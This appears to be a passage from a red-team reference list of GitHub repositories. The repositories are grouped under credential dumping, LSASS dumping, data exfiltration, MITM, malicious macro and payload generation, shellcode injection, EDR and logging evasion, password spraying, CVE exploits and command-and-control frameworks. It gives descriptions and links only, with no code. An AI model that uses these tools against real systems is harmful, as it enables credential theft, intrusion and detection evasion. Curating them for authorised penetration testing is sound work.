Exfiltration ## Credential harvesting Windows Specific https://github.com/gentilkiwi/mimikatz https://github.com/GhostPack/SafetyKatz https://github.com/Flangvik/BetterSafetyKatz - Fork of SafetyKatz that dynamically fetches the latest pre-compiled release of Mimikatz directly from gentilkiwi GitHub repo, runtime patches signatures and uses SharpSploit DInvoke to PE-Load into memory. https://github.com/GhostPack/Rubeus https://github.com/ShutdownRepo/targetedKerberoast - Kerberoast with ACL abuse capabilities https://github.com/Arvanaghi/SessionGopher https://github.com/peewpw/Invoke-WCMDump https://github.com/tiagorlampert/sAINT https://github.com/AlessandroZ/LaZagneForensic - remote lazagne https://github.com/eladshamir/Internal-Monologue https://github.com/djhohnstein/SharpWeb - Browser Creds gathering https://github.com/moonD4rk/HackBrowserData - hack-browser-data is an open-source tool that could help you decrypt data[passwords|bookmarks|cookies|history] from the browser. https://github.com/mwrlabs/SharpClipHistory - ClipHistory feature get the last 25 copy paste actions https://github.com/0x09AL/RdpThief - extract live rdp logins https://github.com/chrismaddalena/SharpCloud - Simple C# for checking for the existence of credential files related to AWS, Microsoft Azure, and Google Compute. https://github.com/djhohnstein/SharpChromium - .NET 4.0 CLR Project to retrieve Chromium data, such as cookies, history and saved logins. https://github.com/rxwx/chlonium - Chromium Cookie import / export tool https://github.com/V1V1/SharpScribbles - ThunderFox for Firefox Credentials, SitkyNotesExtract for "Notes as passwords" https://github.com/securesean/DecryptAutoLogon - Command line tool to extract/decrypt the password that was stored in the LSA by SysInternals AutoLogon https://github.com/G0ldenGunSec/SharpSecDump - .Net port of the remote SAM + LSA Secrets dumping functionality of impacket's secretsdump.py https://github.com/EncodeGroup/Gopher - C# tool to discover low hanging fruits like SessionGopher https://github.com/GhostPack/SharpDPAPI - DPAPI Creds via C# https://github.com/Hackndo/lsassy https://github.com/aas-n/spraykatz https://github.com/b4rtik/SharpKatz - C# porting of mimikatz sekurlsa::logonpasswords, sekurlsa::ekeys and lsadump::dcsync commands https://github.com/login-securite/DonPAPI - Dumping DPAPI credz remotely https://github.com/Barbarisch/forkatz - credential dump using foreshaw technique using SeTrustedCredmanAccessPrivilege https://github.com/skelsec/pypykatz - Mimikatz implementation in pure Python ## LSASS dumper / process dumper https://github.com/codewhitesec/HandleKatz - PIC lsass dumper using cloned handles https://github.com/m0rv4i/SafetyDump - Dump stuff without touching disk https://github.com/CCob/MirrorDump - Another LSASS dumping tool that uses a dynamically compiled LSA plugin to grab an lsass handle and API hooking for capturing the dump in memory https://github.com/deepinstinct/LsassSilentProcessExit - Command line interface to dump LSASS memory to disk via SilentProcessExit https://github.com/outflanknl/Dumpert - dump lsass using direct system calls and API unhooking https://github.com/cube0x0/MiniDump - C# Lsass parser https://github.com/b4rtik/SharpMiniDump - Create a minidump of the LSASS process from memory - using Dumpert https://github.com/b4rtik/ATPMiniDump - Evade WinDefender ATP credential-theft https://github.com/aas-n/spraykatz - remote procdump.exe, copy dump file to local system and pypykatz for analysis/extraction https://github.com/jfmaes/SharpHandler - This project reuses open handles to lsass to parse or minidump lsass ## Credential harvesting Linux Specific https://github.com/huntergregal/mimipenguin https://github.com/n1nj4sec/mimipy https://github.com/dirtycow/dirtycow.github.io https://github.com/mthbernardes/sshLooterC - SSH Credential loot https://github.com/blendin/3snake - SSH / Sudo / SU Credential loot https://github.com/0xmitsurugi/gimmecredz https://github.com/TarlogicSecurity/tickey - Tool to extract Kerberos tickets from Linux kernel keys. ## Data Exfiltration - DNS/ICMP/Wifi Exfiltration https://github.com/FortyNorthSecurity/Egress-Assess https://github.com/p3nt4/Invoke-TmpDavFS https://github.com/DhavalKapil/icmptunnel https://github.com/iagox86/dnscat2 https://github.com/Arno0x/DNSExfiltrator https://github.com/spieglt/FlyingCarpet - Wifi Exfiltration https://github.com/SECFORCE/Tunna - Tunna is a set of tools which will wrap and tunnel any TCP communication over HTTP https://github.com/sysdream/chashell https://github.com/no0be/DNSlivery - Easy files and payloads delivery over DNS https://github.com/mhaskar/DNSStager - Hide your payload in DNS https://github.com/Flangvik/SharpExfiltrate - Modular C# framework to exfiltrate loot over secure and trusted channels. ## Git Specific https://github.com/dxa4481/truffleHog https://github.com/zricethezav/gitleaks https://github.com/adamtlangley/gitscraper ## Windows / Linux https://github.com/AlessandroZ/LaZagne https://github.com/Dionach/PassHunt https://github.com/vulmon/Vulmap # Reverse Engineering / decompiler https://github.com/mattifestation/PowerShellArsenal https://github.com/0xd4d/dnSpy - .NET Disassembler https://github.com/NationalSecurityAgency/ghidra https://github.com/icsharpcode/ILSpy # Forensics https://github.com/Invoke-IR/PowerForensics https://github.com/Neo23x0/Loki https://github.com/gfoss/PSRecon # Network Attacks https://github.com/bettercap/bettercap - :heartpulse: https://github.com/SpiderLabs/Responder https://github.com/lgandx/Responder - more up to date https://github.com/evilsocket/bettercap - Deprecated but still good https://github.com/r00t-3xp10it/morpheus https://github.com/fox-it/mitm6 https://github.com/Kevin-Robertson/InveighZero - mitm6 in C# + Inveigh default features https://github.com/mdsecactivebreach/Farmer - Farmer is a project for collecting NetNTLM hashes in a Windows domain. Farmer achieves this by creating a local WebDAV server that causes the WebDAV Mini Redirector to authenticate from any connecting clients. https://github.com/audibleblink/davil - leaking net-ntlm with webdav https://github.com/mgeeky/SharpWebServer - Red Team oriented C# Simple HTTP & WebDAV Server with Net-NTLM hashes capture functionality https://github.com/DanMcInerney/LANs.py ## Specific MITM service Exploitation https://github.com/jtesta/ssh-mitm - SSH https://github.com/pimps/wsuxploit - WSUS https://github.com/GoSecure/WSuspicious - WSuspicious - A tool to abuse insecure WSUS connections for privilege escalations https://github.com/GoSecure/pywsus - WSUS mitm - Standalone implementation of a part of the WSUS spec. Built for offensive security purposes. https://github.com/SySS-Research/Seth - RDP https://github.com/GoSecure/pyrdp - RDP man-in-the-middle (mitm) and library for Python with the ability to watch connections live or after the fact https://github.com/infobyte/evilgrade - Fake Updates for various Software https://github.com/samdenty/injectify - web application live recording, keystroke logger https://github.com/skorov/ridrelay - User Enumeration with SMB Relay Attacks https://github.com/Kevin-Robertson/Invoke-TheHash ## Sniffing / Evaluation / Filtering https://github.com/DanMcInerney/net-creds https://github.com/odedshimon/BruteShark - https://github.com/lgandx/PCredz https://github.com/Srinivas11789/PcapXray # Red-Team SIEM https://github.com/outflanknl/RedELK - Red Team's SIEM - tool for Red Teams used for tracking and alarming about Blue Team activities as well as better usability in long term operations. # Scanner / Exploitation-Frameworks / Automation https://github.com/threat9/routersploit https://github.com/nccgroup/autopwn https://github.com/1N3/Sn1per https://github.com/byt3bl33d3r/CrackMapExec https://github.com/Cn33liz/p0wnedShell https://github.com/archerysec/archerysec https://github.com/vulnersCom/nmap-vulners https://github.com/m4ll0k/AutoNSE - automate nmap with scripting capabilities https://github.com/v3n0m-Scanner/V3n0M-Scanner https://github.com/zdresearch/OWASP-Nettacker https://github.com/rvrsh3ll/SharpSMBSpray - Spray a hash via smb to check for local administrator access ## Default Credential Scanner https://github.com/ztgrace/changeme https://github.com/InfosecMatter/default-http-login-hunter - Login hunter of default credentials for administrative web interfaces leveraging NNdefaccts dataset. https://github.com/FortyNorthSecurity/EyeWitness https://github.com/byt3bl33d3r/WitnessMe - screenshot for webservers https://github.com/ihebski/DefaultCreds-cheat-sheet - One place for all the default credentials to assist the Blue/Red teamers activities on finding devices with default password ## Default Credential Lookup https://github.com/Viralmaniar/Passhunt # Payload Generation / AV-Evasion / Malware Creation https://github.com/nccgroup/Winpayloads https://github.com/Screetsec/TheFatRat https://github.com/xillwillx/tricky.lnk https://github.com/trustedsec/unicorn https://github.com/z0noxz/powerstager https://github.com/curi0usJack/luckystrike https://github.com/enigma0x3/Generate-Macro https://github.com/Cn33liz/JSMeter https://github.com/Mr-Un1k0d3r/MaliciousMacroGenerator https://github.com/Cn33liz/StarFighters https://github.com/BorjaMerino/Pazuzu https://github.com/mwrlabs/wePWNise https://github.com/Mr-Un1k0d3r/UniByAv https://github.com/govolution/avet https://github.com/Pepitoh/VBad https://github.com/mdsecactivebreach/CACTUSTORCH https://github.com/D4Vinci/Dr0p1t-Framework https://github.com/g0tmi1k/msfpc https://github.com/bhdresh/CVE-2017-0199 - Office RCE POC https://github.com/jacob-baines/concealed_position - Bring your own print driver privilege escalation tool https://github.com/GreatSCT/GreatSCT https://github.com/mthbernardes/rsg - reverse shell generator https://github.com/sevagas/macro_pack https://github.com/mdsecactivebreach/SharpShooter https://github.com/hlldz/SpookFlare https://github.com/0xdeadbeefJERKY/Office-DDE-Payloads https://github.com/peewpw/Invoke-PSImage https://github.com/Arvanaghi/CheckPlease - Sandbox Evasion techniques https://github.com/Aetsu/SLib - SandBox Evasion in C# https://github.com/trustedsec/nps_payload https://github.com/stormshadow07/HackTheWorld https://github.com/r00t-3xp10it/FakeImageExploiter https://github.com/nccgroup/demiguise - Encrypted HTA Generation https://github.com/med0x2e/genxlm https://github.com/med0x2e/GadgetToJScript https://github.com/rasta-mouse/GadgetToJScript - Optimized GadgetToJScript version https://github.com/EgeBalci/sgn - Shikata ga nai (仕方がない) encoder ported into go with several improvements https://github.com/matterpreter/spotter - Spotter is a tool to wrap payloads in environmentally-keyed, AES256-encrypted launchers. https://github.com/s0lst1c3/dropengine - Malleable payload generation framework. https://github.com/gigajew/PowerDropper - Build Powershell Script from .NET Executable https://github.com/FortyNorthSecurity/EXCELntDonut - Excel 4.0 (XLM) Macro Generator for injecting DLLs and EXEs into memory. https://github.com/Greenwolf/ntlm_theft - A tool for generating multiple types of NTLMv2 hash theft files by Jacob Wilkin (Greenwolf) https://github.com/phackt/stager.dll - AES Encrypt payloads https://github.com/Arno0x/EmbedInHTML - Embed and hide any file in an HTML file https://github.com/bats3c/darkarmour - AES Encrypt C/C++ Compiled binaries and decrypt at runtime https://github.com/christophetd/spoofing-office-macro - PoC of a VBA macro spawning a process with a spoofed parent and command line. https://github.com/infosecn1nja/MaliciousMacroMSBuild - Generates Malicious Macro and Execute Powershell or Shellcode via MSBuild Application Whitelisting Bypass. https://github.com/outflanknl/EvilClippy - A cross-platform assistant for creating malicious MS Office documents. Can hide VBA macros, stomp VBA code (via P-Code) and confuse macro analysis tools. Runs on Linux, OSX and Windows. https://github.com/FortyNorthSecurity/EXCELntDonut - Excel 4.0 (XLM) Macro Generator for injecting DLLs and EXEs into memory. https://github.com/STMCyber/boobsnail - BoobSnail allows generating Excel 4.0 XLM macro. Its purpose is to support the RedTeam and BlueTeam in XLM macro generation. https://github.com/michaelweber/Macrome - Excel Macro Document Reader/Writer for Red Teamers & Analysts https://github.com/aaaddress1/xlsKami - Out-of-the-Box Tool to Obfuscate Excel XLS. Include Obfuscation & Hide for Cell Labels & BoundSheets https://github.com/CCob/PwnyForm - PwnyForm will take an MSI installer as input and generate an MSI transform (mst) that can be used to inject arbitrary command execution by adding a custom action that will execute during the UI or Install sequence of an MSI file. https://github.com/fireeye/OfficePurge - VBA purge your Office documents with OfficePurge. VBA purging removes P-code from module streams within Office documents. Documents that only contain source code and no compiled code are more likely to evade AV detection and YARA rules. https://github.com/TestingPens/CPLDropper - A Control Panel Applet dropper project. It has a high success rate on engagements since nobody cares about .CPL files and you can just double click them. https://github.com/FortyNorthSecurity/hot-manchego - Macro-Enabled Excel File Generator (.xlsm) using the EPPlus Library. https://github.com/knight0x07/ImpulsiveDLLHijack - C# based tool which automates the process of discovering and exploiting DLL Hijacks in target binaries. The Hijacked paths discovered can later be weaponized during Red Team Operations to evade EDR's. https://github.com/Flangvik/SharpDllProxy - Retrieves exported functions from a legitimate DLL and generates a proxy DLL source code/template for DLL proxy loading or sideloading https://github.com/jfmaes/Invoke-DLLClone - Koppeling x Metatwin x LazySign https://github.com/paranoidninja/CarbonCopy - Sign an executable for AV-Evasion https://github.com/Tylous/Limelighter - A tool for generating fake code signing certificates or signing real ones https://github.com/duc-nt/RCE-0-day-for-GhostScript-9.50 - RCE 0-day for GhostScript 9.50 - Payload generator - ImageMagick https://github.com/X-C3LL/xlsxPoison - Just a PoC to turn xlsx (regular Excel files) into xlsm (Excel file with macro) and slipping inside a macro (vbaProject.bin) https://github.com/med0x2e/SigFlip - SigFlip is a tool for patching authenticode signed PE files (exe, dll, sys ..etc) without invalidating or breaking the existing signature. https://github.com/klezVirus/inceptor - Template-Driven AV/EDR Evasion Framework https://github.com/Inf0secRabbit/BadAssMacros - BadAssMacros - C# based automated Malicous Macro Generator. https://github.com/connormcgarr/LittleCorporal - LittleCorporal: A C# Automated Maldoc Generator https://github.com/hasherezade/process_ghosting - Process Ghosting - a PE injection technique, similar to Process Doppelgänging, but using a delete-pending file instead of a transacted file https://github.com/optiv/ScareCrow - ScareCrow - Payload creation framework designed around EDR bypass. https://github.com/persianhydra/Xeexe-TopAntivirusEvasion - Undetectable & Xor encrypting with custom KEY (FUD Metasploit Rat) bypass Top Antivirus like BitDefender,Malwarebytes,Avast,ESET-NOD32,AVG,... & Automatically Add ICON and MANIFEST to excitable # Shellcode Injection https://github.com/TheWover/donut - Generates x86, x64, or AMD64+x86 position-independent shellcode that loads .NET Assemblies, PE files, and other Windows payloads from memory and runs them with parameters https://github.com/rasta-mouse/RuralBishop - D/Invoke port of UrbanBishop https://github.com/slyd0g/UrbanBishopLocal - A port of FuzzySecurity's UrbanBishop project for inline shellcode execution https://github.com/FuzzySecurity/Sharp-Suite/tree/master/UrbanBishop - Donut for Shellcode Injection https://github.com/antonioCoco/Mapping-Injection - Mapping injection is a process injection technique that avoids the usage of common monitored syscall VirtualAllocEx, WriteProcessMemory and CreateRemoteThread. https://github.com/SolomonSklash/SyscallPOC - Shellcode injection POC using syscalls. https://github.com/Arno0x/ShellcodeWrapper - Shellcode wrapper with encryption for multiple target languages https://github.com/Ne0nd0g/go-shellcode - A repository of Windows Shellcode runners and supporting utilities. The applications load and execute Shellcode using various API calls or techniques. https://github.com/djhohnstein/CSharpSetThreadContext - C# Shellcode Runner to execute shellcode via CreateRemoteThread and SetThreadContext to evade Get-InjectedThread https://github.com/pwndizzle/c-sharp-memory-injection - A set of scripts that demonstrate how to perform memory injection in C# https://github.com/jthuraisamy/SysWhispers2 - SysWhispers helps with evasion by generating header/ASM files implants can use to make direct system calls. https://github.com/mai1zhi2/SysWhispers2_x86 - X86 version of syswhispers2 / x86 direct system call https://github.com/knownsec/shellcodeloader - CreateThreadpoolWait, Fiber Load, NtTestAlert Load, SEH Except Load, TLS CallBack Load, Dynamic Load, Dynamic Load plus, Syscall Load, APC-Inject Load, Early Brid APC-Inject Load, NtCreateSection-Inject Load, OEP Hiijack-Inject Load, Thread Hiijack-Inject Load https://github.com/djhohnstein/ScatterBrain - Suite of Shellcode Running Utilities https://github.com/D00MFist/Go4aRun - Shellcode runner in GO that incorporates shellcode encryption, remote process injection, block dlls, and spoofed parent process https://github.com/sh4hin/GoPurple - Yet another shellcode runner consists of different techniques for evaluating detection capabilities of endpoint security solutions https://github.com/C-Sto/BananaPhone - It's a go variant of Hells gate! (directly calling windows kernel functions, but from Go!) https://github.com/3xpl01tc0d3r/ProcessInjection - This program is designed to demonstrate various process injection techniques https://github.com/plackyhacker/Shellcode-Injection-Techniques - A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload. I will be building this project up as I learn, discover or develop more techniques. Some techniques are better than others at bypassing AV. https://github.com/snovvcrash/DInjector - Collection of shellcode injection techniques packed in a D/Invoke weaponized DLL https://github.com/plackyhacker/Suspended-Thread-Injection - Another meterpreter injection technique using C# that attempts to bypass Defender https://github.com/boku7/Ninja_UUID_Dropper - Module Stomping, No New Thread, HellsGate syscaller, UUID Dropper for x64 Windows 10! https://github.com/mobdk/Upsilon - Upsilon execute shellcode with syscalls - no API like NtProtectVirtualMemory is used https://github.com/0xDivyanshu/Injector - Complete Arsenal of Memory injection and other techniques for red-teaming in Windows https://github.com/JohnWoodman/stealthInjector - Injects shellcode into remote processes using direct syscalls https://github.com/xpn/NautilusProject - A collection of weird ways to execute unmanaged code in .NET https://github.com/xinbailu/DripLoader - Evasive shellcode loader for bypassing event-based injection detection (PoC) https://github.com/cribdragg3r/Alaris - A protective and Low Level Shellcode Loader that defeats modern EDR systems. https://github.com/theevilbit/injection - C++ Injection techniques https://github.com/RomanRII/shellcode-through-ICMP - https://blog.romanrii.com/using-icmp-to-deliver-shellcode https://github.com/ChaitanyaHaritash/Callback_Shellcode_Injection - POCs for Shellcode Injection via Callbacks https://github.com/ChoiSG/UuidShellcodeExec - PoC for UUID shellcode execution using DInvoke https://github.com/S4R1N/AlternativeShellcodeExec - Alternative Shellcode Execution Via Callbacks https://github.com/DamonMohammadbagher/NativePayload_CBT - NativePayload_CallBackTechniques C# Codes (Code Execution via Callback Functions Technique, without CreateThread Native API) https://github.com/S3cur3Th1sSh1t/Nim_CBT_Shellcode - CallBack-Techniques for Shellcode execution ported to Nim # Loader / Packer / Injectors https://github.com/med0x2e/ExecuteAssembly - Load/Inject .NET assemblies by; reusing the host (spawnto) process loaded CLR AppDomainManager, Stomping Loader/.NET assembly PE DOS headers, Unlinking .NET related modules, bypassing ETW+AMSI, avoiding EDR hooks via NT static syscalls (x64) and hiding imports by dynamically resolving APIs (hash) https://github.com/EgeBalci/amber - Reflective PE packer. https://github.com/djhohnstein/ScatterBrain - Suite of Shellcode Running Utilities https://github.com/phra/PEzor - Open-Source PE Packer https://github.com/dretax/DynamicDllLoader - This project describes a technique how a NATIVE dynamic link library (DLL) can be loaded from memory (In C#) without storing it on the hard-disk first. https://github.com/nettitude/RunPE - C# Reflective loader for unmanaged binaries. # EDR Evasion - Logging Evasion https://github.com/CCob/SharpBlock - A method of bypassing EDR's active projection DLL's by preventing entry point execution https://github.com/bats3c/Ghost-In-The-Logs - Evade sysmon and windows event logging https://github.com/am0nsec/SharpHellsGate - C# Implementation of the Hell's Gate VX Technique https://github.com/am0nsec/HellsGate - Original C Implementation of the Hell's Gate VX Technique https://github.com/3gstudent/Windows-EventLog-Bypass - C++ Version of Invoke-Phantom https://github.com/jfmaes/SharpNukeEventLog - C# version of Invoke-Phantom https://github.com/Soledge/BlockEtw - .Net Assembly to block ETW telemetry in current process https://github.com/ionescu007/faxhell - A Bind Shell Using the Fax Service and a DLL Hijack https://github.com/realoriginal/ppdump-public - Protected Process (Light) Dump: Uses Zemana AntiMalware Engine To Open a Privileged Handle to a PP/PPL Process And Inject MiniDumpWriteDump() Shellcode https://github.com/bats3c/EvtMute - This is a tool that allows you to offensively use YARA to apply a filter to the events being reported by windows event logging. https://github.com/GetRektBoy724/TripleS - Extracting Syscall Stub, Modernized https://github.com/call-042PE/UCantSeeM3 - Hiding your process in ProcessHacker,Task Manager,etc by patching NtQuerySystemInformation https://github.com/bats3c/DarkLoadLibrary - LoadLibrary for offensive operations https://github.com/moloch--/DarkLoadLibrary - Same but with LLVM support https://github.com/scythe-io/memory-module-loader - An implementation of a Windows loader that can load dynamic-linked libraries (DLLs) directly from memory https://github.com/Yaxser/Backstab - A tool to kill antimalware protected processes https://github.com/RedCursorSecurityConsulting/PPLKiller - Tool to bypass LSA Protection (aka Protected Process Light) https://github.com/passthehashbrowns/suspendedunhook - get NTDLL copy from suspended process https://github.com/LloydLabs/delete-self-poc - A way to delete a locked file, or current running executable, on disk. https://github.com/klezVirus/SharpSelfDelete - C# implementation of the research by @jonaslyk and the drafted PoC from @LloydLabs https://github.com/jxy-s/herpaderping - Process Herpaderping proof of concept, tool, and technical deep dive. Process Herpaderping bypasses security products by obscuring the intentions of a process. https://github.com/bohops/UltimateWDACBypassList - A centralized resource for previously documented WDAC bypass techniques https://github.com/mgeeky/ShellcodeFluctuation - An advanced in-memory evasion technique fluctuating shellcode's memory protection between RW/NoAccess & RX and then encrypting/decrypting its contents https://github.com/mgeeky/ThreadStackSpoofer - Thread Stack Spoofing - PoC for an advanced In-Memory evasion technique allowing to better hide injected shellcode's memory allocation from scanners and analysts. https://github.com/SolomonSklash/SleepyCrypt - A shellcode function to encrypt a running process image when sleeping. https://github.com/aaaddress1/PR0CESS - some gadgets about windows process and ready to use :) https://github.com/JLospinoso/gargoyle - A memory scanning evasion technique https://github.com/passthehashbrowns/hiding-your-syscalls - Some source code to demonstrate avoiding certain direct syscall detections by locating and JMPing to a legitimate syscall instruction within NTDLL. https://github.com/hasherezade/module_overloading - A more stealthy variant of "DLL hollowing" https://github.com/forrest-orr/phantom-dll-hollower-poc - Phantom DLL hollowing PoC https://github.com/hasherezade/transacted_hollowing - Transacted Hollowing - a PE injection technique, hybrid between ProcessHollowing and ProcessDoppelgänging https://github.com/GetRektBoy724/SharpUnhooker - C# Based Universal API Unhooker https://github.com/mgeeky/UnhookMe - UnhookMe is an universal Windows API resolver & unhooker addressing problem of invoking unmonitored system calls from within of your Red Teams malware https://github.com/aaaddress1/wowInjector - PoC: Exploit 32-bit Thread Snapshot of WOW64 to Take Over $RIP & Inject & Bypass Antivirus HIPS (HITB 2021) https://github.com/RedSection/OffensivePH - OffensivePH - use old Process Hacker driver to bypass several user-mode access controls https://github.com/optiv/Dent - A framework for creating COM-based bypasses utilizing vulnerabilities in Microsoft's WDAPT sensors. https://github.com/Dewera/Pluto - A manual system call library that supports functions from both ntdll.dll and win32u.dll https://github.com/jackullrich/universal-syscall-64 - Resolve syscall numbers at runtime for all Windows versions. https://github.com/br-sn/CheekyBlinder - Enumerating and removing kernel callbacks using signed vulnerable drivers https://github.com/jthuraisamy/TelemetrySourcerer - Enumerate and disable common sources of telemetry used by AV/EDR. https://github.com/TheWover/DInvoke - Dynamically invoke arbitrary unmanaged code from managed code without PInvoke. https://github.com/fashionproof/CheckSafeBoot - I used this to see if an EDR is running in Safe Mode https://github.com/asaurusrex/DoppelGate - DoppelGate relies on reading ntdll on disk to grab syscall stubs, and patches these syscall stubs into desired functions to bypass Userland Hooking. # Useful Binary Modification tools https://github.com/hasherezade/exe_to_dll https://github.com/hasherezade/dll_to_exe https://github.com/hasherezade/pe_to_shellcode ## Android https://github.com/sensepost/kwetza # External Penetration Testing ## Domain Finding / Subdomain Enumeration https://github.com/aboul3la/Sublist3r https://github.com/TheRook/subbrute https://github.com/michenriksen/aquatone https://github.com/darkoperator/dnsrecon https://github.com/fwaeytens/dnsenum https://github.com/s0md3v/Striker + Scanner https://github.com/leebaird/discover https://github.com/eldraco/domain_analyzer - more like an audit https://github.com/caffix/amass - :heartpulse: https://github.com/subfinder/subfinder https://github.com/TypeError/domained https://github.com/SilverPoision/Rock-ON ## File Search / Metadata extraction https://github.com/dafthack/PowerMeta https://github.com/ElevenPaths/FOCA ## Scanner https://github.com/vesche/scanless https://github.com/1N3/Sn1per https://github.com/DanMcInerney/pentest-machine https://github.com/jaeles-project/jaeles - The Swiss Army knife for automated Web Application Testing ## Email Gathering https://github.com/leapsecurity/InSpy https://github.com/dchrastil/ScrapedIn https://github.com/SimplySecurity/SimplyEmail https://github.com/clr2of8/GatherContacts https://github.com/s0md3v/Zen - Find Emails of Github Users https://github.com/m8r0wn/CrossLinked - super fast emails via google/bing linkedin dorks https://github.com/m4ll0k/Infoga https://github.com/navisecdelta/EmailGen - A simple email generator that uses dorks on Bing to generate emails from LinkedIn Profiles. ## Check Email Accounts https://github.com/megadose/holehe - allows you to check if the mail is used on different sites like twitter, instagram and will retrieve information on sites with the forgotten password function. ## Domain Auth + Exploitation https://github.com/nyxgeek/o365recon https://github.com/gremwell/o365enum - Enumerate valid usernames from Office 365 using ActiveSync, Autodiscover v1, or office.com login page. https://github.com/dafthack/MSOLSpray - A password spraying tool for Microsoft Online accounts (Azure/O365). The script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, or if the account is disabled. https://github.com/sachinkamath/NTLMRecon - Tool to enumerate information from NTLM authentication enabled web endpoints https://github.com/ustayready/fireprox - rotate IP Adresses over AWS - Combine with MSOLSpray https://github.com/True-Demon/raindance - office 365 recon https://github.com/dafthack/MailSniper https://github.com/sensepost/ruler https://github.com/Greenwolf/Spray - lockout Time integrated https://github.com/nyxgeek/lyncsmash - Lync Credential Finder https://github.com/byt3bl33d3r/SprayingToolkit - Scripts to make password spraying attacks against Lync/S4B & OWA a lot quicker, less painful and more efficient https://github.com/mdsecresearch/LyncSniper - Lync Credential Finder https://github.com/3gstudent/easBrowseSharefile - Use to browse the share file by eas(Exchange Server ActiveSync) https://github.com/FSecureLABS/peas - PEAS is a Python 2 library and command line application for running commands on an ActiveSync server e.g. Microsoft Exchange. https://github.com/snovvcrash/peas - Modified version of PEAS client for offensive operations - https://snovvcrash.rocks/2020/08/22/tuning-peas-for-fun-and-profit.html https://github.com/RedLectroid/OutlookSend - A C# tool to send emails through Outlook from the command line or in memory https://github.com/nccgroup/Carnivore - Tool for assessing on-premises Microsoft servers authentication such as ADFS, Skype, Exchange, and RDWeb https://github.com/ricardojoserf/adfsbrute - A script to test credentials against Active Directory Federation Services (ADFS), allowing password spraying or bruteforce attacks. https://github.com/nyxgeek/onedrive_user_enum - onedrive user enumeration - pentest tool to enumerate valid onedrive users https://github.com/nyxgeek/AzureAD_Autologon_Brute - Brute force attack tool for Azure AD Autologon/Seamless SSO - Source: https://arstechnica.com/information-technology/2021/09/new-azure-active-directory-password-brute-forcing-flaw-has-no-fix/ https://github.com/treebuilder/aad-sso-enum-brute-spray - POC of SecureWorks' recent Azure Active Directory password brute-forcing vuln https://github.com/SecurityRiskAdvisors/msspray - Password attacks and MFA validation against various endpoints in Azure and Office 365 https://github.com/immunIT/TeamsUserEnum - User enumeration with Microsoft Teams API https://github.com/knavesec/CredMaster - Refactored & improved CredKing password spraying tool, uses FireProx APIs to rotate IP addresses, stay anonymous, and beat throttling ## Exchange RCE-exploits https://github.com/Airboi/CVE-2020-17144-EXP - Exchange2010 authorized RCE https://github.com/Ridter/cve-2020-0688 - OWA Deserialisation RCE ## MobileIron RCE https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2020-15505 # Specific Service Scanning / Exploitation ## Login Brute Force + Wordlist attacks https://github.com/galkan/crowbar - Brute force non hydra compliant services - RDP, VNC, OpenVPN https://github.com/1N3/BruteX - Brute Force various services https://github.com/x90skysn3k/brutespray - :sunglasses: https://github.com/DarkCoderSc/win-brute-logon - Crack any Microsoft Windows users password without any privilege (Guest account included) https://github.com/lanjelot/patator https://github.com/dafthack/RDPSpray - RDP Password Spray - No Event Logs https://github.com/xFreed0m/RDPassSpray - Python3 tool to perform password spraying using RDP ## SNMP https://github.com/hatlord/snmpwn ## Open X11 https://github.com/sensepost/xrdp ## Printers https://github.com/RUB-NDS/PRET https://github.com/BusesCanFly/PRETty - Automation for PRET ## MSSQL https://github.com/quentinhardy/msdat ## Oracle https://github.com/quentinhardy/odat ## IKE https://github.com/SpiderLabs/ikeforce ## SMB Null Session Exploitation https://github.com/m8r0wn/nullinux ## iLO Exploitation https://github.com/airbus-seclab/ilo4_toolbox https://www.exploit-db.com/exploits/44005 ## vmware vCenter Exploits https://github.com/guardicore/vmware_vcenter_cve_2020_3952 - Exploit for CVE-2020-3952 in vCenter 6.7 ## Intel AMT Exploitation https://github.com/Coalfire-Research/DeathMetal ## SAP Exploitation https://github.com/comaeio/OPCDE https://github.com/gelim/sap_ms https://github.com/chipik/SAP_GW_RCE_exploit ## FPM port Found Port 9001 open? Try that: https://github.com/hannob/fpmvuln - bash poc scripts to exploit open fpm ports ## Weblogic Exploitation https://github.com/0xn0ne/weblogicScanner - scan/test for nearly all weblogic vulns https://github.com/quentinhardy/jndiat - WEblogic Server Tests https://github.com/kingkaki/weblogic-scan https://github.com/FlyfishSec/weblogic_rce - cve-2019-2725 https://github.com/SukaraLin/CVE-2019-2890 https://github.com/1337g/CVE-2017-10271 https://github.com/LandGrey/CVE-2018-2894 https://github.com/Y4er/CVE-2020-2551 ## Sharepoint exploitation https://github.com/sensepost/SPartan - Sharepoint Fingerprint + Exploitation https://github.com/Voulnet/desharialize ## JIRA https://github.com/0x48piraj/Jiraffe - One stop place for exploiting Jira instances in your proximity ## Sonicwall VPN https://github.com/darrenmartyn/VisualDoor ## VSphere VCenter https://github.com/JamesCooteUK/SharpSphere - .NET Project for Attacking vCenter ## Dameware https://github.com/warferik/CVE-2019-3980 ## Confluence Exploit https://github.com/h3v0x/CVE-2021-26084_Confluence - Confluence Server Webwork OGNL injection ## Telerik UI for ASP.NET AJAX Exploit https://github.com/noperator/CVE-2019-18935 ## General Recon https://github.com/FortyNorthSecurity/EyeWitness ## Solarwinds https://github.com/mubix/solarflare - SolarWinds Orion Account Audit / Password Dumping Utility # Command & Control Frameworks https://github.com/n1nj4sec/pupy https://github.com/nettitude/PoshC2 https://github.com/FortyNorthSecurity/WMImplant https://github.com/quasar/QuasarRAT https://github.com/EmpireProject/Empire https://github.com/zerosum0x0/koadic https://github.com/Mr-Un1k0d3r/ThunderShell https://github.com/Ne0nd0g/merlin https://github.com/Arno0x/WebDavC2 https://github.com/malwaredllc/byob https://github.com/byt3bl33d3r/SILENTTRINITY https://github.com/SharpC2/SharpC2 - Command and Control Framework written in C#. https://github.com/Arno0x/WSC2 https://github.com/BC-SECURITY/Empire - Empire with embedded AMSI-Bypass https://github.com/cobbr/Covenant https://github.com/cobbr/C2Bridge - C2Bridges allow developers to create new custom communication protocols and quickly utilize them within Covenant. https://github.com/py7hagoras/CovenantTasks - Source for tasks I have used with Covenant https://github.com/BishopFox/sliver - Implant framework https://github.com/bats3c/shad0w - A post exploitation framework designed to operate covertly on heavily monitored environments https://github.com/FSecureLABS/C3 - Custom Command and Control (C3). A framework for rapid prototyping of custom C2 channels, while still providing integration with existing offensive toolkits. https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp - Open-Source Remote Administration Tool For Windows C# (RAT) https://github.com/its-a-feature/Mythic https://github.com/Cr4sh/MicroBackdoor - Small and convenient C2 tool for Windows targets https://github.com/cyberark/kubesploit - 